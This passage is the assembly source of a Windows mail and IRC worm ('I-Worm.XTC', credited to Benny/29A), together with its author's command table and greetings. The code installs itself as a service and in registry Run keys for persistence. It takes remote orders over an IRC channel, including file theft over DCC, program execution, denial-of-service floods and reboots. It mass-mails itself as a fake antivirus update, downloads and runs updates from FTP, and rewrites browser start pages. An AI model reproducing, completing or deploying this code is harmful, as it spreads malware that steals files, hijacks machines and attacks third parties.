�+�����������������������������������������������������������������������������Ĵ+� machine � retrieves the name of infected computer �+�����������������������������������������������������������������������������Ĵ+� info � retrives some informationz about itself �+�����������������������������������������������������������������������������Ĵ+� sendme � sends specified file to user via DCC �+�����������������������������������������������������������������������������Ĵ+� 1, DCC SEND � accepts specified file via DCC �+�����������������������������������������������������������������������������Ĵ+� pwd � retrieves current directory �+�����������������������������������������������������������������������������Ĵ+� cd � changes current directory �+�����������������������������������������������������������������������������Ĵ+� md � creates new directory �+�����������������������������������������������������������������������������Ĵ+� rd � removes specified directory �+�����������������������������������������������������������������������������Ĵ+� dir � lists all filenamez which match specified mask �+�����������������������������������������������������������������������������Ĵ+� del � removes specified file �+�����������������������������������������������������������������������������Ĵ+� move � moves/renames specified file �+�����������������������������������������������������������������������������Ĵ+� copy � copies specified file �+�����������������������������������������������������������������������������Ĵ+� exec � executes specified program �+�������������������������������������������������������������������������������+++Everytime after IRC connection is established the worm sends to public window+its version number. Other wormz will check it and if their version number is+bigger, they will send UPDATE command with the URL from which they were lastly+updated.++I think longer description is not needed, the code speaks by itself. If you+have any questionz, feel free to mail me... Have a fun!+++��������Ŀ+� Greetz �+����������++Ratter: I'm not angry, I just hate if someone stealz my code/ideaz+ without asking. That's all... Try to realise your own ideaz.+Kaspersky: I really wonder if you will spend more than 1 minute with+ writting description... and I still miss the description for+ Win32.Vulcano!++++ �������������Ŀ+ � Benny / 29A �����������Ŀ+ @ [email protected] �+ @ http://benny29a.cjb.net �+ ���������������������������+#+++.586p+.model flat,stdcall ;standard beginning+ ;of win32asm code+include win32api.inc+include useful.inc++extrn ExitProcess:PROC ;kernel32.dll APIz+extrn ExitThread:PROC+extrn OpenMutexA:PROC+extrn GetModuleHandleA:PROC+extrn GetProcAddress:PROC+extrn GetCommandLineA:PROC+extrn DeleteFileA:PROC+extrn GetWindowsDirectoryA:PROC+extrn GetModuleFileNameA:PROC+extrn CopyFileA:PROC+extrn WinExec:PROC+extrn Sleep:PROC+extrn GetTickCount:PROC+extrn GetCurrentDirectoryA:PROC+extrn SetCurrentDirectoryA:PROC+extrn CreateDirectoryA:PROC+extrn RemoveDirectoryA:PROC+extrn FindFirstFileA:PROC+extrn FindNextFileA:PROC+extrn FindClose:PROC+extrn SetFileAttributesA:PROC+extrn DeleteFileA:PROC+extrn MoveFileA:PROC+extrn CreateFileA:PROC+extrn CloseHandle:PROC+extrn WriteFile:PROC+extrn GetFileSize:PROC+extrn ReadFile:PROC+extrn ExitWindowsEx:PROC+extrn CreateThread:PROC+extrn CreateProcessA:PROC+extrn WritePrivateProfileStringA:PROC+extrn SetErrorMode:PROC+extrn GetLastError:PROC+extrn CreateFileMappingA:PROC+extrn MapViewOfFile:PROC+extrn UnmapViewOfFile:PROC++extrn SHGetSpecialFolderPathA:PROC ;SHELL32.dll APIz+extrn SHSetValueA:PROC+extrn SHGetValueA:PROC+extrn SHDeleteValueA:PROC++extrn InternetOpenA:PROC ;WININET.dll APIz+extrn InternetConnectA:PROC+extrn InternetCloseHandle:PROC+extrn FtpGetFileA:PROC+extrn FtpSetCurrentDirectoryA:PROC+extrn InternetCheckConnectionA:PROC++extrn WSAStartup:PROC ;WSOCK32.dll APIz+extrn WSACleanup:PROC+extrn socket:PROC+extrn gethostbyname:PROC+extrn connect:PROC+extrn send:PROC+extrn recv:PROC+extrn closesocket:PROC+extrn gethostname:PROC+extrn htons:PROC+extrn htonl:PROC+extrn bind:PROC+extrn listen:PROC+extrn accept:PROC++extrn OpenServiceA:PROC ;ADVAPI32.dll APIz+extrn DeleteService:PROC+extrn OpenSCManagerA:PROC+extrn CreateServiceA:PROC+extrn CloseServiceHandle:PROC+extrn StartServiceCtrlDispatcherA:PROC+extrn RegisterServiceCtrlHandlerA:PROC+extrn SetServiceStatus:PROC++extrn MAPILogon:PROC ;MAPI32.dll APIz+extrn MAPILogoff:PROC+extrn MAPISendMail:PROC++++STARTUPINFO STRUCT ;used by CreateProcessA API+ cb DWORD ?+ lpReserved DWORD ?+ lpDesktop DWORD ?+ lpTitle DWORD ?+ dwX DWORD ?+ dwY DWORD ?+ dwXSize DWORD ?+ dwYSize DWORD ?+ dwXCountChars DWORD ?+ dwYCountChars DWORD ?+ dwFillAttribute DWORD ?+ dwFlags DWORD ?+ wShowWindow WORD ?+ cbReserved2 WORD ?+ lpReserved2 DWORD ?+ hStdInput DWORD ?+ hStdOutput DWORD ?+ hStdError DWORD ?+STARTUPINFO ENDS++PROCESS_INFORMATION STRUCT+ hProcess DWORD ?+ hThread DWORD ?+ dwProcessId DWORD ?+ dwThreadId DWORD ?+PROCESS_INFORMATION ENDS+++WSADATA struc ;WSADATA structure+mVersion dw ? ;used by WSOCK32.dll APIz+mHighVersion dw ?+szDescription db 257 dup(?)+szSystemStatus db 129 dup(?)+iMaxSockets dw ?+iMaxUpdDg dw ?+lpVendorInfo dd ?+WSADATA ends++sock struc ;socket structure+sin_family dw AF_INET ;used by WSOCK32.dll APIz+sin_port dw 0b1ah+sin_addr dd ?+sin_zero db 8 dup (?)+sock ends+sockSize = SIZE sock+++VERSION1_1 equ 0101h ;equates used by WSOCK32.dll APIz+PCL_NONE equ 0+SOCK_STREAM equ 1+AF_INET equ 2+HOSTENT_IP equ 10h++PASSWORD equ 0DDD1275Bh ;CRC32 of the password+++@endspc macro ;macro - skip the space in the+ local @l ;string+@l: lodsb+ cmp al,20h+ jne @l+endm++@endbr macro ;macro - skip the CR character+ local @l ;in the string+@l: lodsb+ cmp al,0Dh+ jne @l+endm+++.data+ msg_PASS db 'password ' ;commands that are intercepted+ msg_NOPASS db 'nopassword' ;by worm on IRC+ msg_DOS db 'dos '+ msg_SPREADON db 'spreadon'+ msg_SPREADOFF db 'spreadoff'+ msg_RECONN db 'reconnect'+ msg_EXITPROC db 'exitprocess'+ msg_GETCDIR db 'pwd'+ msg_SETCDIR db 'cd '+ msg_DIR db 'dir'+ msg_MD db 'md '+ msg_RD db 'rd '+ msg_DEL db 'del '+ msg_MOVE db 'move '+ msg_INFO db 'info'+ msg_MACHINE db 'machine'+ msg_DCCRECV db 1,'DCC SEND '+ msg_SENDME db 'sendme '+ msg_COPY db 'copy '+ msg_LEAVE db 'leave'+ msg_MARK db 'mark'+ msg_STOPDOS db 'stopdos'+ msg_IRCSEND db 'ircsend '+ msg_EXEC db 'exec '+ msg_WHOIS db 'whois'+ msg_LAN db 'lanspread'+ msg_REBOOT db 'reboot'+ msg_SPREADTO db 'spreadto '++ irc_server db 'eu.undernet.org',0 ;name of IRC server+ irc_user db 'USER w w w w',0dh,0ah+ irc_nick db 'NICK ' ;login commandz+ nickname db 11 dup (?) ;nickname+ irc_join db 'JOIN #xtcdan heil',0dh,0ah+ irc_mode1 db 'MODE #xtcdan +k heil',0dh,0ah+ irc_mode2 db 'MODE #xtcdan +s',0dh,0ah+ ;other login commandz+ info_table db '** I-Worm.XTC, written by Benny/29A. Variant '+version_number db '0001 ' ;signature+version number+ info_size = $-info_table++ db 11h+ dec_buff db 10 dup (?) ;dec->ascii conversion buffer++command_table_stringz: dd offset msg_NOPASS ;table of pointerz to+ dd offset msg_DOS ;commandz+ dd offset msg_SPREADON+ dd offset msg_SPREADOFF+ dd offset msg_RECONN+ dd offset msg_EXITPROC+ dd offset msg_GETCDIR+ dd offset msg_SETCDIR+ dd offset msg_DIR+ dd offset msg_MD+ dd offset msg_RD+ dd offset msg_DEL+ dd offset msg_MOVE+ dd offset msg_INFO+ dd offset msg_MACHINE+ dd offset msg_DCCRECV+ dd offset msg_SENDME+ dd offset msg_COPY+ dd offset msg_LEAVE+ dd offset msg_MARK+ dd offset msg_STOPDOS+ dd offset msg_IRCSEND+ dd offset msg_EXEC+ dd offset msg_WHOIS+ dd offset msg_LAN+ dd offset msg_REBOOT+ dd offset msg_SPREADTO+num_of_commands = ($-command_table_stringz)/4 ;number of commandz++command_table_size: db 10 ;table of size of+ db 4 ;each command+ db 8+ db 9+ db 9+ db 11+ db 3+ db 3+ db 3+ db 3+ db 3+ db 4+ db 5+ db 4+ db 7+ db 10+ db 7+ db 5+ db 5+ db 4+ db 7+ db 8+ db 5+ db 5+ db 9+ db 6+ db 9++command_table_jmp: dd offset irc_NOPASS ;table of pointerz to+ dd offset irc_DOS ;command handlerz+ dd offset irc_SPREADON+ dd offset irc_SPREADOFF+ dd offset irc_RECONN+ dd offset end_worm+ dd offset irc_GETCDIR+ dd offset irc_SETCDIR+ dd offset irc_DIR+ dd offset irc_MD+ dd offset irc_RD+ dd offset irc_DEL+ dd offset irc_MOVE+ dd offset irc_INFO+ dd offset irc_MACHINE+ dd offset irc_DCCRECV+ dd offset irc_SENDME+ dd offset irc_COPY+ dd offset irc_LEAVE+ dd offset irc_MARK+ dd offset irc_STOPDOS+ dd offset irc_IRCSEND+ dd offset irc_EXEC+ dd offset irc_WHOIS+ dd offset irc_LAN+ dd offset irc_REBOOT+ dd offset irc_SPREADTO++ win_table db 'C:\Windows',0 ;standard paths to+ db 'C:\Winnt',0 ;windows directory+ db 'C:\Win95',0+ db 'C:\Win98',0+ db 'C:\Win2000',0+ db 'C:\Win2k',0+ db 'C:\WinME',0+ winNumber = 7 ;number of paths++ lpMessage dd ? ;MAPI32 structure+ dd offset subject+ dd offset message+ dd ?+ dd offset date+ dd ?+ dd 2+ dd offset mailFrom+ dd 1+ dd offset mailTo+ dd 1+ dd offset attachment++ subject db 'AVX update notification',0 ;mail subject+ message db 'Hi,',0dh,0ah,0dh,0ah ;mail message+ db 'We would like to notify you about the newest software '+ db 'designed by SOFTWIN company. This program constantly '+ db 'monitors the net for the newest viral treats and anti-virus '+ db 'databases. In the case some new virus is in-the-wild, it '+ db 'will immediatelly ask you to download the newest version of '+ db 'AntiVirus eXpert 2000 (AVX). It''s small, it''s efficent, it''s '+ db 'secure and powerful. No special licence is needed, it''s freeware. '+ db 'We hope you enjoy AntiVirus eXpert and share it with your friends.'+ db 0dh,0ah,0dh,0ah,0dh,0ah,'Best regards,',0dh,0ah,0dh,0ah+ db ' AVX developement team.',0+ date db '2001/01/01',0 ;mail date+ senderAddr db '[email protected]',0 ;mail sender++ mailFrom dd ? ;mail sender structure+ dd ?+ dd offset mailFrom+ dd offset senderAddr+ dd ?+ dd ?++ mailTo dd ? ;mail recipient+ dd 1 ;structure+ dd offset mailTo+ dd offset mail_address+ dd ?+ dd ?++ attachment dd ? ;attachment structure+ dd ?+ dd ?+ dd offset wormname2+ dd ?+ dd ?++ regWorm db '%ComSpec% /C del ' ;delete command+ wormname2 db MAX_PATH dup (?) ;worm filename++ IRC_sock sock <> ;IRC socket structure+ DCC_sock sock <> ;DCC socket structure+ DOS_sock sock <> ;DOS socket structure++ hKey dd ? ;registry key++ wormname db MAX_PATH dup (?) ;primary worm filename+ org wormname+ irc_tmp db MAX_PATH dup (?) ;irc buffer+ temppath db MAX_PATH dup (?) ;temporary buffer+ mail_address db 128 dup (?) ;buffer for mail address++ wsadata WSADATA <> ;WSADATA structure+ pInfo PROCESS_INFORMATION <> ;PROCESS_INFORMATION...+ sInfo STARTUPINFO <> ;STARTUPINFO...++ irc_buffer db 1000h dup (?) ;irc buffer+++.code ;worm code starts here+Start: pushad+ @SEH_SetupFrame <jmp end_worm> ;setup SEH frame++ push offset up_xtc+5+ push 0+ push 1+ call OpenMutexA ;check if mutex is+ test eax,eax ;created, if not,+ je end_worm ;we are prob. debugged++ push 5000+ call Sleep ;wait 5 minutez++ push 1+ call SetErrorMode ;set this win-shit++ push MAX_PATH+ push offset wormname2+ push 0+ call GetModuleFileNameA ;get worm filename+ mov [wormname2_size],eax ;save the size++ call SVCRegister ;register as service+e_svc: ;process+ call HideWorm ;create worm-service+ call GetCommandLineA ;get ptr to command line+ mov edi,eax ;to EDI+ xchg eax,esi+l_gca: lodsb+ test al,al+ je p_copy+ cmp al,20h+ jne l_gca ;skip from filename++l_par: lodsb ;skip from parameterz+ cmp al,20h+ je l_par+ test al,al+ je p_copy ;no parameterz++ dec esi ;yep, parameter present,+ push esi ;worm already copied,+ call DeleteFileA ;delete the first copy++@cw: call IRCConnect ;connect to IRC++ call GetTickCount ;get random number+ xor edx,edx+ mov ecx,10000+ div ecx ;normalize to 0..9999++ push edx+ call Sleep ;wait random time long++p_copy: call CopyWorm ;copy the worm to another+ ;file in system directory+end_worm:+ @SEH_RemoveFrame ;remove SEH frame+ popad+ push 0+ call ExitProcess ;and quit+++;this procedure can copy the worm file to system directory of Windows and+;execute it+CopyWorm Proc+ mov esi,edi+ mov edi,offset wormname ;copy the filename to+ @copysz ;buffer++ mov edi,offset temppath+ push MAX_PATH+ push edi+ call GetWindowsDirectoryA ;get windows directory+ push edi+ add edi,eax++ mov eax,'res\'+ stosd+ mov eax,'eciv'+ stosd+ mov eax,'xe.s'+ stosd+ push 'e'+ pop eax+ stosw ;create windir\services.exe+ pop edi ;filename++ mov esi,offset wormname2+ push 0+ push edi+ push esi+ call CopyFileA ;copy worm to sysdir++ push edi+ push esi+ mov esi,edi+ @endsz+ dec esi+ mov edi,esi+ pop esi+ mov al,20h+ stosb+ @copysz+ pop edi ;create the command line++ push 0+ push edi+ call WinExec ;and execute worm+ ret ;from system directory+CopyWorm EndP+++;this procedure can execute worm as service process+HideWorm Proc+ push 000F0000h or 2+ push 0+ push 0+ call OpenSCManagerA ;get handle to SCM+ test eax,eax+ je e_scm0+ xchg eax,esi ;to ESI++ push 10000h+ push offset up_xtc+5+ push esi+ call OpenServiceA+ xchg eax,ecx+ jecxz e_scm2++ push ecx+ push ecx+ call DeleteService ;delete service+ call CloseServiceHandle++e_scm2: xor eax,eax+ push eax+ push eax+ push eax+ push eax+ push eax+ push offset wormname2+ push eax+ push 2+ push 10h+ push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h+ push offset up_xtc+5+ push dword ptr [esp]+ push esi+ call CreateServiceA ;and create it again+ test eax,eax+ je e_scm1++ push eax+ call CloseServiceHandle+e_scm1: push esi+ call CloseServiceHandle ;close all opened handlez+ ret++e_scm0: call GetLastError ;get error code+ cmp eax,78h ;if not compatibility+ jne end_hide ;error then quit++ push 12345678h+wormname2_size = dword ptr $-4+ push offset wormname2+ push 1+ push offset up_xtc+5+run_key = $+5+ @pushsz 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'+ push 80000002h ;modify registry so+ call SHSetValueA ;worm will be executed+ ;every start of windows+ @pushsz 'Kernel32.dll'+ call GetModuleHandleA ;get base address of K32+ xchg eax,ecx+ jecxz end_hide+ @pushsz 'RegisterServiceProcess'+ push ecx+ call GetProcAddress ;get ptr to API+ xchg eax,ecx+ jecxz end_hide+ push 1+ push 0+ call ecx ;register as service+end_hide: ;process under Win9x+ ret+HideWorm EndP+++;this procedure connects to IRC+IRCConnect Proc+ push offset wsadata+ push VERSION1_1+ call WSAStartup ;initialize WSOCK32 2.0+ test eax,eax+ jne end_hide++ push offset irc_server+ call gethostbyname ;get IP of IRC server+ test eax,eax+ je end_wsa++ mov eax,[eax+HOSTENT_IP]+ mov eax,[eax]+ mov [IRC_sock.sin_addr],eax++ push PCL_NONE+ push SOCK_STREAM+ push AF_INET+ call socket ;create socket+ inc eax+ je end_wsa+ dec eax+ mov [hSocket],eax ;save its handle++ push sockSize+ push offset IRC_sock+ push [hSocket]+ call connect ;connect to IRC server+ inc eax+ je end_irc_socket++new_nick:+ call GenerateNickName ;generate random nickaname+ sub edi,offset nickname+ add edi,5+ mov ecx,edi+ mov esi,offset irc_nick+ call irc_send ;send the nick+ test ecx,ecx+ je end_irc_socket++ push 14+ pop ecx+ mov esi,offset irc_user+ call irc_send ;send user infos+ test ecx,ecx+ je end_irc_socket++ mov ecx,1000+ call irc_recv ;get server reply+ test eax,eax+ je end_irc_socket+ inc eax+ je end_irc_socket++ mov ecx,esi+ cmp [esi],'GNIP'+ jne s_pong+ mov byte ptr [esi+1],'O'+ push esi+l_ping: lodsb+ cmp al,0Ah+ jne l_ping+ sub ecx,esi+ neg ecx+ pop esi+ call irc_send ;send PONG! if PING?++s_pong: mov ecx,100+ call irc_recv ;get server reply+ test eax,eax+ je end_irc_socket+ inc eax+ je end_irc_socket++ push 19+ pop ecx+ mov esi,offset irc_join+ call irc_send ;send the JOIN command+ jecxz end_irc_socket++ push 22+ pop ecx+ mov esi,offset irc_mode1+ call irc_send ;set channel modez+ jecxz end_irc_socket++ push 17+ pop ecx+ mov esi,offset irc_mode2+ call irc_send ;--- "" ---+ jecxz end_irc_socket++ mov ecx,300h+ call irc_recv ;get server reply+ test eax,eax+ je end_irc_socket+ inc eax+ je end_irc_socket+ and [password_passed],0 ;no superuser logged yet++ call @lupd+ db 'PRIVMSG #xtcdan :!ver0001',0dh,0ah+@lupd: pop esi+ push 27+ pop ecx+ call irc_send ;send worms version code+ inc eax+ je end_irc_socket++ call irc_SPREADON ;spread via e-mail+ call irc_manage ;the bot handling procedure++end_irc_socket:+ push 12345678h+hSocket = dword ptr $-4+ call closesocket ;close connection+end_wsa:call WSACleanup ;clean up+end_irc_man:+irc_RECONN:+ ret+IRCConnect EndP+++irc_manage_pop:+ pop esi+++;this procedure can analyse IRC commandz and make the proper actionz+irc_manage Proc+ call GetTickCount ;get the time+ xchg eax,ebp+ call irc_recv_100h ;get IRC reply+ push eax+ call GetTickCount ;get the time+ xchg eax,ecx+ pop eax+ test eax,eax+ je end_irc_man+ inc eax+ je end_irc_socket++ sub ecx,ebp+ cmp ecx,5*60000+ jb no_idle ;quit if nothing+ ret ;happened in 5 minutez+no_idle:cmp [esi],'GNIP'+ je do_pong ;make the PONG! reply+ inc esi ;if needed++ push esi+ @endspc+ cmp [esi],'VIRP'+ jne irc_manage_pop+ cmp [esi+4],2047534Dh ;quit if its not PRIVMSG+ jne irc_manage_pop ;command++ push 9+ pop ecx+ mov edi,offset irc_tmp+ mov edx,edi+ movsd+ movsd ;copy the first part+ pop esi ;or the command++o_exl: inc ecx+ lodsb+ stosb+ cmp al,'!'+ jne o_exl+ dec edi+ mov al,20h+ stosb+o_cln: lodsb+ cmp al,':'+ jne o_cln+ stosb ;--- "" ---++ cmp [esi],'adpu'+ jne @m_nx0+ cmp word ptr [esi+4],'et'+ jne @m_nx0+ cmp byte ptr [esi+6],20h+ je irc_UPDATE ;update worm if the+ ;command has been sent+@m_nx0: cmp [esi],'rev!' ;version quering?+ jne @m_next+ cmp [esi+4],'1000'+ jb @m_n+ jmp @m_next ;continue++@m_n: mov eax,'adpu' ;construct update command+ stosd+ mov ax,'et'+ stosw+ mov al,20h+ stosb+ add ecx,7+ push edx+ push ecx+ push edi++ call @m_h+ dd 100+@m_h: push edi+ call @m_o+ dd 1+@m_o: @pushsz 'XTCUpdate'+ push offset up_path+ push 80000002h+ call SHGetValueA ;get the FTP address+ pop esi ;from registry+ pop ecx+@l_up2: lodsb+ inc ecx+ test al,al+ jne @l_up2+ dec esi+ mov edi,esi+ mov ax,0A0Dh+ stosw+ inc ecx+ inc ecx+ pop esi+ call irc_send ;send it!+ jmp irc_manage++@m_next:mov eax,12345678h ;check if it was+password_passed = dword ptr $-4 ;already entered the+ test eax,eax ;password+ je irc_no_pswd++ push num_of_commands ;password entered,+ pop eax ;analyse the command+command_parse: ;and execute the proper+ pushad ;procedure+ mov edi,[eax*4+offset command_table_stringz-4]+ movzx ecx,byte ptr [eax+command_table_size-1]+ mov edx,[eax*4+offset command_table_jmp-4]+ mov [esp.Pushad_ebx],edx+ rep cmpsb+ popad+ jne e_cp+ jmp ebx ;--- "" ---+e_cp: dec eax+ test eax,eax+ jne command_parse+ jmp msg_err ;bad command+++do_pong:mov byte ptr [esi+1],'O' ;send the PONG! reply+ xchg eax,ecx ;if needed+ call irc_send ;--- "" ---+ jmp irc_manage++irc_no_pswd: ;check the password+ pushad+ mov edi,offset msg_PASS+ push 9+ pop ecx+ rep cmpsb ;check the PASSWORD+ je check_password ;command+ popad+msg_err:mov ax,0D2Eh ;send the "failed" reply+ stosw+ mov al,0Ah+ stosb+ add ecx,3+end_pwd:mov esi,edx+ call irc_send ;--- "" ---+ jmp irc_manage+check_password:+ mov edi,5+ call CRC32 ;calculate CRC32 from+ add eax,-PASSWORD ;the given password+ popad+ jne msg_err ;quit if wrong password+ mov [password_passed],edi+msg_ok: mov eax,0A0D2A2Ah+ stosd+ add ecx,4 ;password ok, send+ jmp end_pwd ;the reply+++;updates worm from the internet+irc_UPDATE:+ pushad+ @endspc ;get over the command++ mov edi,offset temppath+ push edi+ xor ecx,ecx+ push esi+c_upd: lodsb+ stosb+ inc ecx+ cmp al,0Dh+ jne c_upd+ mov byte ptr [edi-1],0+ pop esi+ pop edi+ push ecx+ push edi+ push 1+up_xtc: @pushsz 'XTCUpdate'+up_path = $+5+ @pushsz 'Software\Microsoft\Windows\CurrentVersion'+ push 80000002h ;write the FTP address+ call SHSetValueA ;to registry++ push esi+ @endspc+ mov byte ptr [esi-1],0+ push esi+ @endspc+ mov byte ptr [esi-1],0+ push esi+ @endbr+ mov byte ptr [esi-1],0++ xor eax,eax+ push eax+ push eax+ push eax+ push eax+ @pushsz 'XTC'+ call InternetOpenA ;create the inet handle+ test eax,eax+ je err_up0+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ call InternetCheckConnectionA ;check if we are already+ xchg eax,ecx ;connected to inet+ jecxz err_up1 ;quit if not++ xor eax,eax+ push eax+ push eax+ push 1+ push eax+ push eax+ push 21+ push dword ptr [esp+8+6*4]+ push ebx+ call InternetConnectA ;connect to FTP server+ test eax,eax+ je err_up1+ xchg eax,ebp++ push dword ptr [esp+4]+ push ebp+ call FtpSetCurrentDirectoryA ;change the directory+ xchg eax,ecx+ jecxz err_up2++ push 0+ push 2+ push FILE_ATTRIBUTE_NORMAL+ push 0+ @pushsz 'xtcspawn.exe'+ pop edi+ push edi+ push dword ptr [esp+5*4]+ push ebp+ call FtpGetFileA ;download the worm+ xchg eax,ecx+ jecxz err_up2++ push 0+ push edi+ call WinExec ;execute it+ jmp end_worm++err_up2:push ebp+ call InternetCloseHandle+err_up1:push ebx+ call InternetCloseHandle ;close all inet handlez+err_up0:pop eax+ pop eax+ pop eax+ popad+ jmp irc_manage++;logoff superuser, forget written password+irc_NOPASS:+ and [password_passed],0+ jmp msg_ok++;stops DOS attack and enables new one+irc_STOPDOS:+ and [dos_sem],0+ jmp msg_ok+++;sends IRC command+irc_IRCSEND:+ mov edi,edx+ pushad+ @endspc+ xor ecx,ecx+l_ircs: inc ecx+ lodsb+ stosb+ cmp al,0Ah+ jne l_ircs+ mov [esp.Pushad_ecx],ecx+ popad+ jmp end_pwd+++;DOS attack+irc_DOS:pushad+ @SEH_SetupFrame <jmp err_dos>+ @endspc ;get over the command+ call Ascii2Num+ push eax+ call htons+ mov [DOS_sock.sin_port],ax ;save the port number+ inc esi+ push esi ;ESI = server name (*)+ @endbr+ mov byte ptr [esi-1],0++ call gethostbyname ;*+ test eax,eax+ je err_dos+ mov eax,[eax+HOSTENT_IP]+ mov eax,[eax]+ mov [DOS_sock.sin_addr],eax ;save the IP++ mov [dos_sem],eax+ xor eax,eax+ @pushsz 'XTC'+ push eax+ push eax+ push offset DOS_Thread+dos_thr:push eax+ push eax+ call CreateThread ;create separate thread+ xchg eax,ecx+ jecxz err_dos++ push ecx+ call CloseHandle ;close its handle++ok_dos: @SEH_RemoveFrame+ popad+ jmp msg_ok ;reply "ok"+err_dos:@SEH_RemoveFrame+ popad+ jmp msg_err ;reply "failed"+++;send infected mail message to specified e-mail address+irc_SPREADTO:+ pushad+ @endspc+ push esi+ @endbr+ mov byte ptr [esi-1],0+ pop esi ;replace CRLF by NULL++ call mapi_init ;initialize MAPI32+ test eax,eax+ jne end_st ;quit if error++ mov edi,offset mail_address ;store mail address+ @copysz+ call mapi_send ;send virus there+ call mapi_close ;log off from MAPI32+end_st: popad+ jmp irc_manage ;and quit+++;logon to MAPI32+mapi_init:+ xor eax,eax+ push offset MAPIHandle+ push eax+ push eax+ push eax+ push eax+ push eax+ call MAPILogon+ ret+++;starts with mail spreading+irc_SPREADON:+ pushad+ @SEH_SetupFrame <jmp e_spr>++ mov ebp,offset spread_sem+ cmp dword ptr [ebp],0 ;check the semaphore+ jne e_spr++ call mapi_init+ test eax,eax+ jne e_spr++ mov [ebp],ebp+ @pushsz 'XTC'+ push eax+ push eax+ push offset SPREAD_Thread+ push eax+ push eax+ call CreateThread ;create separate thread+ xchg eax,ecx+ jecxz e_spr++ push ecx+ call CloseHandle ;close its handle++e_spr: @SEH_RemoveFrame+ popad+ jmp irc_manage ;and quit+++;logs off from MAPI32+mapi_close:+ xor eax,eax+ push eax+ push eax+ push eax+ push 12345678h+MAPIHandle = dword ptr $-4+ call MAPILogoff+ ret+++;stops with mail spreading+irc_SPREADOFF:+ call mapi_close+ and [spread_sem],0 ;clear the semaphore+ jmp msg_ok+++;sets some default pagez of MSIE to http://www.therainforestsite.com+irc_MARK:+ pushad+ call @m_reg+ db 'Default_Page_URL',0 ;item table+ db 'Default_Search_URL',0+ db 'Search Page',0+ db 'Start Page',0+ db 'What''s New',0+ db 'Local Page',0+@m_reg: pop esi++ push 6+ pop ecx+m_loop: push ecx+ push 32+ @pushsz 'http://www.therainforestsite.com' ;destination URL+ push 1+ push esi+ @pushsz 'Software\Microsoft\Internet Explorer\Main'+ push 80000002h ;key+ call SHSetValueA ;set the value++ @endsz+ pop ecx+ loop m_loop+ popad+ jmp msg_ok ;and reply to user+++;quits from infected computer+irc_LEAVE:+ mov edi,offset temppath+ push MAX_PATH+ push edi+ call GetWindowsDirectoryA ;get the windows directory+ push edi+ add edi,eax+ mov eax,'niw\'+ stosd+ mov eax,'ini.'+ stosd+ xor al,al+ stosb ;create windir\win.ini+ ;path+filename+ push 0+ @pushsz 'run'+ push offset win_table+3+ call WritePrivateProfileStringA ;clear the item there++ mov esi,offset regWorm+ mov edx,esi+ @endsz+ sub esi,edx+ dec esi+ push esi+ push edx+ push 2+ @pushsz 'XTC'+ @pushsz 'Software\Microsoft\Windows\CurrentVersion\RunOnce'+ push 80000002h ;delete worm on next+ call SHSetValueA ;start of windows++ push offset wormname2 ;try to delete itself+ call DeleteFileA ;(worx under Win95 only)++ push offset up_xtc+5+ push offset up_path+ push 80000002h ;delete the update URL+ call SHDeleteValueA ;item in registry++ push offset up_xtc+5+ push offset run_key+ push 80000002h ;delete last item+ call SHDeleteValueA ;in registry+ jmp irc_REBOOT ;and reboot computer+++;sends file via DCC+irc_SENDME:+ mov ebp,ecx+ pushad+ @endspc+ push esi+ @endspc+ mov byte ptr [esi-1],0+ push esi+ @endbr+ mov byte ptr [esi-1],20h+ pop ebp+ pop esi++ xor ebx,ebx+ push ebx+ push ebx+ push OPEN_EXISTING+ push ebx+ push FILE_SHARE_READ+ push GENERIC_READ+ push esi+ call CreateFileA ;open the file+ inc eax+ je err_send0+ dec eax+ mov [sendFile],eax++ push ebx+ push eax+ call GetFileSize ;get its size+ mov [sendBytes],eax++ push ebx+ push SOCK_STREAM+ push AF_INET+ call socket ;create socket+ inc eax+ je err_send1+ dec eax+ mov [sendSocket],eax++ call GetTickCount+ push 1000+ pop ecx+ xor edx,edx+ div ecx+ add edx,4000+ mov [dccPort],edx+ push edx+ call htons+ mov [DCC_sock.sin_port],ax ;select random port+ and [DCC_sock.sin_addr],0 ;number++ push sockSize+ push offset DCC_sock+ push 12345678h+sendSocket = dword ptr $-4+ call bind ;hook the port+ test eax,eax+ jne err_send2++ mov eax,'CCD1'-'1'+1+ stosd+ mov eax,'NES '+ stosd+ mov ax,' D'+ stosw+ add dword ptr [esp.Pushad_ebp],10 ;create DCC command++ mov esi,ebp+cpy_sm: lodsb+ stosb+ inc dword ptr [esp.Pushad_ebp]+ cmp al,20h+ jne cpy_sm++ push offset irc_buffer+ push 50+ push offset irc_buffer+ call gethostname+ call gethostbyname+ mov eax,[eax+HOSTENT_IP] ;the IP+ mov eax,[eax]+ push eax+ call htonl++ mov ebp,edi+ call Num2Ascii+ mov eax,edi+ sub eax,ebp+ inc eax+ add dword ptr [esp.Pushad_ebp],eax+ mov al,20h+ stosb++ mov eax,12345678h ;the port number+dccPort = dword ptr $-4+ mov ebp,edi+ call Num2Ascii+ mov eax,edi+ sub eax,ebp+ inc eax+ add dword ptr [esp.Pushad_ebp],eax+ mov al,20h+ stosb++ mov ebp,edi+ mov eax,12345678h+sendBytes = dword ptr $-4 ;and file size+ call Num2Ascii+ mov eax,edi+ sub eax,ebp+ add eax,4+ add dword ptr [esp.Pushad_ebp],eax++ mov ax,0D01h+ stosw+ mov al,0Ah+ stosb ;terminate the command++ mov ecx,[esp.Pushad_ebp]+ mov esi,edi+ sub esi,ecx+ call irc_send ;send it++ push 1+ push [sendSocket]+ call listen ;switch to listen mode+ test eax,eax+ jne err_send2++ push eax+ push eax+ push [sendSocket]+ call accept ;accept incomming bytez++ xchg eax,[sendSocket]+ push eax+ call closesocket ;close incomming socket++ mov ebx,offset dcctmp+ xor esi,esi+l_dcc_send:+ push 0+ push ebx+ push 1000h+ push offset irc_buffer+ push [sendFile] ;read some bytez from+ call ReadFile ;the file++ push 0+ push dword ptr [ebx]+ push offset irc_buffer+ push [sendSocket]+ call send ;send them++ add esi,[ebx]+ cmp esi,[sendBytes]+ je ok_send ;check if we are finished+ cmp [ebx],eax+ je l_dcc_send++err_send2:+ push [sendSocket]+ call closesocket ;close the socket+err_send1:+ push 12345678h+sendFile = dword ptr $-4+ call CloseHandle ;close the file+err_send0:+err_dcc0:+ popad+ jmp msg_err ;and reply "failed"+ok_send:push [sendSocket]+ call closesocket ;close the socket+ push [sendFile]+ call CloseHandle ;file+ popad+ jmp msg_ok ;reply "ok"+++;recieves file via DCC+irc_DCCRECV:+ pushad++ @endspc+ @endspc+ push esi+ 